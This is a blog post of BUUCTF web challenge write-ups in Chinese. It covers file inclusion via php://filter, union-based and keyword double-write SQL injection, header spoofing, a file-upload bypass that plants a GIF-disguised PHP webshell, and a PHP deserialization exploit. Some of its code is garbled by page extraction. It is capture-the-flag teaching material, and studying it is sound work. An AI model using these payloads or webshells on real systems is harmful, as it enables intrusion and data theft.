buuctf-web

article/2025/8/10 8:47:51

[极客大挑战 2019]Havefun

控制台检查代码修改url

[极客大挑战 2019]EasySQL

密码输入 ' 出现 sql输入错误 判断为 单引号注入

[ACTF2020 新生赛]Include

点击提示出现?file说明是文件包含问题 构造url  file=php://filter/read=convert.base64-encode/resource=flag.php

php://filter 协议
在这里插入图片描述

  1. 是格式
  2. 是可选参数,有read和write,字面意思就是读和写
  3. 是过滤器。主要有四种:字符串过滤器,转换过滤器,压缩过滤器,加密过滤器。filter里可以用一或多个过滤器(中间用|隔开),这也为解题提供了多种方法,灵活运用过滤器是解题的关键。这里的过滤器是把文件flag.php里的代码转换(convert)为base64编码(encode)
  4. 是必选参数,后面写你要处理的文件名

[ACTF2020 新生赛]Exec

没有过滤;和ls

[极客大挑战 2019]LoveSQL

order by 4后报错,说明有三个字段

1' union select 1,2,database() #

得到数据库名:geek

1' union select 1,database(),version()#

要想正确的注入,首先要知道数据库类型,才能使用正确的语句,不同数据库查版本的语句不一样,这一步就要探究清楚,本题可知当前数据库为geek

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
mysql有一个数据库里面存有所有的其它数据库信息是information_schema,其中的tables字段存储有所有的表名,group_concat意思是将所有结果在一行输出  表为l0ve1ysq1

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#

所有列名

1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

得到flag

[极客大挑战 2019]Secret File

[极客大挑战 2019]Http

找到.php访问后

 提示你不是来自https://www.Sycsecret.com的

题目是http ,很容易想起HTTP协议中的HTTP报文 header ,请求头和响应头。也就是有一些协议内容。

比如上面提示不是来自https://www.Sycsecret.com,就可以在header中添加上 Referer:https://www.Sycsecret.com ,来伪造访问来源,Referer协议就是告诉服务器我从哪里来。所以抓包修改。

 添加后访问,提示请使用 Syclover 浏览器,这就可以想到用User-Agent协议来伪造访问工具为 Syclover 浏览器,这个协议就是告诉服务器我是用什么访问的 .修改 User-Agent 为User-Agent: Syclover 。再次提示No!!! you can only read this locally ,你只能在本地阅读。

 只能在本地,我们可以伪造本地ip 127.0.0.1,所以我们可以利用X-Forwarded-For协议来伪造只需要在 header 添加 X-Forwarded-For:127.0.0.1,再次访问,这时得到flag

Referer:https://Sycsecret.buuoj.cn
User-Agent: Syclover

X-Forwarded-For:127.0.0.1

[极客大挑战 2019]Upload

先上传一个php文件看看回显<?php @eval($_POST['1234'])?>

一、服务端会拿报文的Content-Tyepe的值进行检查,所以要把值改成image/jpeg、image/png或者image/gif

但是页面却回显说NOT PHP,也即是说,我们不能上传以php为后缀的文件,我们这里想到了php3,phtml,Php等等

当我们把后缀修改为php3的时候,却回显说NOT PHP3

然后我们尝试一下phtml

但是回显还是说不能上传,意思是不是一个图片,这里我们可以使用gif文件头欺骗来进行绕过

 回显说是我的内容里面不能有<?

修改后的一句话木马如下:

GIF89a?
<script language="php">eval($_REQUEST[1234])</script>

发现上传成功。

接下来就是需要找到我们这个文件的位置,然后使用蚁剑进行连接就可以了。

在找文件目录的时候这里是需要一些运气的或者说是经验,我们可以猜测一下目录位置是/upload/访问一下看看

发现确实是这样,然后我们就可以这届找到我们的文件,然后进行连接了。

[极客大挑战 2019]Knife

**eval($_POST["Syc"]);**

**eval是PHP代码执行函数,**把字符串按照 PHP 代码来执行。
$_POST PHP方法将参数Syc作为POST传参方式

[极客大挑战 2019]BabySQL

构造万能密码注入
123' or 1=1 #
居然爆出sql错误,
...version for the right syntax to use near '1=1 #'' at line 1
仔细看报错信息,发现我们的 or 不见了,推测后端做了关键字检测,将关键字去掉了
这里尝试进行双写绕过,来证明我们的推测
123' oorr 1=1 #

返回

Hello admin!Your password is 'eed87ca901c286579b6b4a0583bb6861'
那么证明双写可以完成注入,此题的考点也就是双写了
后面的内容就和 LoveSql一样了
1. 排查回显字段
1' oorrder bbyy x#,令x=1逐渐增加进行尝试,当x=4时出现报错, 说明注入点字段长度为3
2. 爆库名b4bsql
1' uunionnion sselectelect database(),2,3#,依次变换函数database()的位置,确定哪个位置会回显出我们所查询的信息。经尝试,第三个注入点字段会回显查询信息
3. 爆表名geekuser
1' uunionnion sselectelect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema=database()#
4. 爆列名id,username,password
1' uunionnion sselectelect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_name='表名'#
表名处替换为b4bsql或geekuser 得到三个相同的字段 'id,username,password'
5. 爆数据
1' uunionnion sselectelect 1,2,group_concat(id,username,passwoorrd) ffromrom b4bsql#

 [ACTF2020 新生赛]BackupFile

我们可以用dirsearch扫一下这个页面,

我们到主程序的目录下,也就是dirsearch的文件位置然后执行  py dirsearch.py -u url地址 -e*

然后我们在文件目录当中,发现了index.php.bak文件

 于是我们回到网页加上路径,然后下载了index.php.bak文件,用notepad++发现了源码,审计发现是php的弱类型匹配

构造pyload?key=123

[网鼎杯 2020 青龙组]AreUSerialz

查看代码可以看出来,GET方式传入序列化的str字符串,str字符串中每一个字符的ASCII范围在32到125之间,然后对其反序列化。

在反序列化的过程中,调用__destruct析构方法

1

2

3

4

5

6

function __destruct() {

    if($this->op === "2")

        $this->op = "1";

    $this->content = "";

    $this->process();

}

  如果op==="2",将其赋为"1",同时content赋为空,进入process函数,需要注意到的地方是,这里op与"2"比较的时候是强类型比较

1

2

3

4

5

6

7

8

9

10

public function process() {

    if($this->op == "1") {

        $this->write();

    else if($this->op == "2") {

        $res $this->read();

        $this->output($res);

    else {

        $this->output("Bad Hacker!");

    }

}

  进入process函数后,如果op=="1",则进入write函数,若op=="2",则进入read函数,否则输出报错,可以看出来这里op与字符串的比较变成了弱类型比较==。

所以我们只要令op=2,这里的2是整数int。当op=2时,op==="2"为false,op=="2"为true,接着进入read函数

1

2

3

4

5

6

7

private function read() {

    $res "";

    if(isset($this->filename)) {

        $res file_get_contents($this->filename);

    }

    return $res;

}

  filename是我们可以控制的,接着使用file_get_contents函数读取文件,我们此处借助php://filter伪协议读取文件,获取到文件后使用output函数输出

1

2

3

4

private function output($s) {

    echo "[Result]: <br>";

    echo $s;

}

  整个利用思路就很明显了,还有一个需要注意的地方是,$op,$filename,$content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid函数校验。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

<?php

class FileHandler {

    protected $op=2;

    protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";

    protected $content;

    function __construct() {

        $op "1";

        $filename "/tmp/tmpfile";

        $content "Hello World!";

        // $this->process();

    }

    public function process() {

        if($this->op == "1") {

            $this->write();

        else if($this->op == "2") {

            $res $this->read();

            $this->output($res);

        else {

            $this->output("Bad Hacker!");

        }

    }

    private function write() {

        if(isset($this->filename) && isset($this->content)) {

            if(strlen((string)$this->content) > 100) {

                $this->output("Too long!");

                die();

            }

            $res file_put_contents($this->filename, $this->content);

            if($res$this->output("Successful!");

            else $this->output("Failed!");

        else {

            $this->output("Failed!");

        }

    }

    private function read() {

        $res "";

        if(isset($this->filename)) {

            $res file_get_contents($this->filename);

        }

        return $res;

    }

    private function output($s) {

        echo "[Result]: <br>";

        echo $s;

    }

    function __destruct() {

        if($this->op === "2")

            $this->op = "1";

        $this->content = "";

        // $this->process();

    }

}

$A=new FileHandler();

$B=serialize($A);

echo $B;

  运行之后,这三个箭头指向的地方字符显示不正确的地方就是%00字符

 在这里有几种绕过的方式,简单的一种是:php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可

即:

1

2

3

public $op=2;

public $filename="php://filter/read=convert.base64-encode/resource=flag.php";

public $content;

  现在得到的结果就没有%00字符了

从而得到pyload: ?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:12:"Hello World!";}

  


http://www.hkcw.cn/article/tXBtnTgpmF.shtml

相关文章

SAR ADC 异步逻辑设计

SAR ADC的逻辑是重要的一个模块&#xff0c;可以分为同步逻辑和异步逻辑&#xff0c;对于低速SAR ADC&#xff0c;一般采用同步逻辑&#xff0c;对于高速SAR ADC&#xff0c;一般采用异步逻辑。 这里讲一下异步逻辑的设计&#xff0c;异步逻辑一般不需要外部时钟&#xff08;当…

广告拦截器:全方位拦截,畅享无广告体验

在数字时代&#xff0c;广告无处不在。无论是浏览网页、使用社交媒体&#xff0c;还是观看视频&#xff0c;广告的频繁弹出常常打断我们的体验&#xff0c;让人不胜其烦。更令人担忧的是&#xff0c;一些广告可能包含恶意软件&#xff0c;威胁我们的设备安全和个人隐私。AdGuar…

MMRL: Multi-Modal Representation Learning for Vision-Language Models(多模态表示学习)

摘要 预训练的VLMs,对于跨任务的迁移学习至关重要&#xff0c;然而&#xff0c;在few-shot数据集上微调会导致过拟合&#xff0c;降低在新任务上的性能。为解决这个问题&#xff0c;提出一种新的多模态表征学习框架&#xff08;MMRL&#xff09;,该框架引入了一个共享、可学习…

【芯片学习】555

一、引脚作用 二、原理图 三、等效原理图 1.比较器 同相输入端大于反相输入端&#xff0c;输出高电平&#xff0c;反之亦然 2.三极管 给它输入高电平就可以导通 3.模拟电路部分 4.数字电路部分 这部分的核心是RS触发器&#xff0c;R-reset代表0&#xff0c;set是置位代表1&am…

从线性代数到线性回归——机器学习视角

真正不懂数学就能理解机器学习其实是个神话。我认为&#xff0c;AI 在商业世界可以不懂数学甚至不懂编程也能应用&#xff0c;但对于技术人员来说&#xff0c;一些基础数学是必须的。本文收集了我认为理解学习本质所必需的数学基础&#xff0c;至少在概念层面要掌握。毕竟&…

DAY 36 超大力王爱学Python

仔细回顾一下神经网络到目前的内容&#xff0c;没跟上进度的同学补一下进度。 作业&#xff1a;对之前的信贷项目&#xff0c;利用神经网络训练下&#xff0c;尝试用到目前的知识点让代码更加规范和美观。探索性作业&#xff08;随意完成&#xff09;&#xff1a;尝试进入nn.Mo…

【Oracle】数据备份与恢复

个人主页&#xff1a;Guiat 归属专栏&#xff1a;Oracle 文章目录 1. Oracle备份恢复概述1.1 为什么备份这么重要&#xff1f;1.2 Oracle备份策略全景图 2. 物理备份详解2.1 冷备份 - 最简单粗暴的方式2.1.1 冷备份的步骤2.1.2 冷备份恢复过程 2.2 热备份 - 不停机的备份艺术2.…

使用BERT/BiLSTM + CRF 模型进行NER进展记录~

使用代码处理数据集&#xff0c;发现了一些问题&#xff0c;以及解决办法~ 下载了一组数据集&#xff0c;数据存放在CSV中&#xff0c;GBK格式。如下&#xff1a; 首先对每一列直接进行NER抽取&#xff0c;结果非常不好&#xff1a; 几乎是乱抽取的&#xff0c;解决办法是自己创…

18. Qt系统相关:多线程

一、概述 在Qt中&#xff0c;使用QThread类对系统线程进行了封装。QThread代表一个在应用程序中可独立控制的线程&#xff0c;也可以和进程中的其他线程共享数据。 二、QThread常用API 三、QThread使用 自定义一个类&#xff0c;继承自QThread&#xff0c;并且只有一个线程处…

YOLOv7 辅助检测头与重参数化解析2025.6.1

YOLOv7 是目标检测领域的一个重要模型&#xff0c;其在速度和精度之间取得了较好的平衡。其中的**辅助检测头&#xff08;Auxiliary Head&#xff09;和重参数化&#xff08;Re-parameterization&#xff09;**是其核心创新点。以下是对这两个技术的详细解析&#xff1a; 一、辅…

CP4-OFDM模糊函数原理及仿真

文章目录 前言一、互补P4码序列二、barker-OFDM 信号1、OFDM 信号表达式2、模糊函数表达式 三、MATLAB 仿真1、MATLAB 核心源码2、仿真结果①、CP4-OFDM 模糊函数②、CP4-OFDM 距离分辨率③、CP4-OFDM 速度分辨率④、CP4-OFDM 等高线图 四、资源自取 前言 本文进行 CP4-OFDM 的…

【C语言预处理详解(上)】--预定义符号,#define定义常量,#define定义宏,带有副作用的宏参数,宏替换的规则,宏和函数的对比

目录 一.预定义符号 二.#define定义常量 三.#define定义宏 3.1--定义宏的方法和注意事项 3.2--带有副作用的宏参数 3.3--宏替换的规则 四.宏与函数的对比 &#x1f525;个人主页&#xff1a;草莓熊Lotso的个人主页 &#x1f3ac;作者简介&#xff1a;C研发方向学习者 &a…

CppCon 2014 学习:C++ Memory Model Meets High-Update-Rate Data Structures

这段内容是对一个主题的概览&#xff08;Overview&#xff09;&#xff0c;涉及并行更新的问题&#xff0c;特别是“Issaquah Challenge”这个具体案例。详细解读如下&#xff1a; Overview&#xff08;概览&#xff09; The Issaquah Challenge 这是一个特定的挑战或问题&am…

如何用利用deepseek的API能力来搭建属于自己的智能体-优雅草卓伊凡

如何用利用deepseek的API能力来搭建属于自己的智能体-优雅草卓伊凡 上一篇文章我们已经介绍了智能体和大模型AI的区别&#xff0c;现在我们开始搭建自己的智能体进行工作 1. 了解 DeepSeek 提供的 AI 能力 DeepSeek 提供强大的 大语言模型&#xff08;LLM&#xff09;&#x…

智能制造之精读——RPA制造行业常见场景【附全文阅读】

RPA 在制造行业应用广泛&#xff0c;为企业带来显著价值&#xff0c;是极具潜力的智能化解决方案。它能节省成本&#xff0c;降低人力与管理成本&#xff1b;提升运营效率&#xff0c;减少人机交互损耗&#xff1b;提高质量&#xff0c;保障流程准确性&#xff1b;还能增强合规…

【2025.06】jupyter notebook 7+ 新手安装、配置、扩展应用(windows篇)

本文目录 前述一、安装二、配置2.1 jupyter_notebook_config.py生成配置文件2.2 服务器与网络设置a. 修改端口号b. 允许远程访问c. 设置工作目录 2.3 安全与认证a. 禁用密码登录&#xff08;仅限本地安全环境&#xff09;b. 设置登录密码c. 启用SSL加密&#xff08;HTTPS&#…

ASP.NET Core SignalR 身份认证集成指南(Identity + JWT)

文章目录 前言一、完整解决方案架构二、实现步骤1.配置 Identity 和 JWT 认证2. SignalR JWT配置3.SignalR Hub 集成认证和授权4.控制器5.客户端集成 (JavaScript)6.配置 appsettings.json 三、认证流程详解1.用户登录&#xff1a;2.SignalR 连接&#xff1a;3.JWT 验证&#x…

Redis最佳实践——性能优化技巧之数据结构选择

Redis在电商应用中的数据结构选择与性能优化技巧 一、电商核心场景与数据结构选型矩阵 应用场景推荐数据结构内存占用读写复杂度典型操作商品详情缓存Hash低O(1)HGETALL, HMSET购物车管理Hash中O(1)HINCRBY, HDEL用户会话管理Hash低O(1)HSETEX, HGET商品分类目录Sorted Set高O…

【Tauri2】049——upload

前言 这篇就看看一个简单地插件——upload Upload | Taurihttps://tauri.app/plugin/upload/upload的英文意思是“上传&#xff08;程序或信息&#xff09;”。 看来是用来上传文件的。 支持移动端 正文 安装 pnpm tauri add upload 在前后端都会安装&#xff0c;即 .plug…

《深度解构现代云原生微服务架构的七大支柱》

☁️《深度解构现代云原生微服务架构的七大支柱》 一线架构师实战总结&#xff0c;系统性拆解现代微服务架构中最核心的 7 大支柱模块&#xff0c;涵盖通信协议、容器编排、服务网格、弹性伸缩、安全治理、可观测性、CI/CD 等。文内附架构图、实操路径与真实案例&#xff0c;适…